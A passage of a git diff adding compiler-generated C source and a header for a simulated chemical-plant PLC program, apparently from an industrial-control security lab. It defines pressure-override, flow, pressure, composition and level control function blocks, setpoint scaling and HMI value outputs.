__SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + 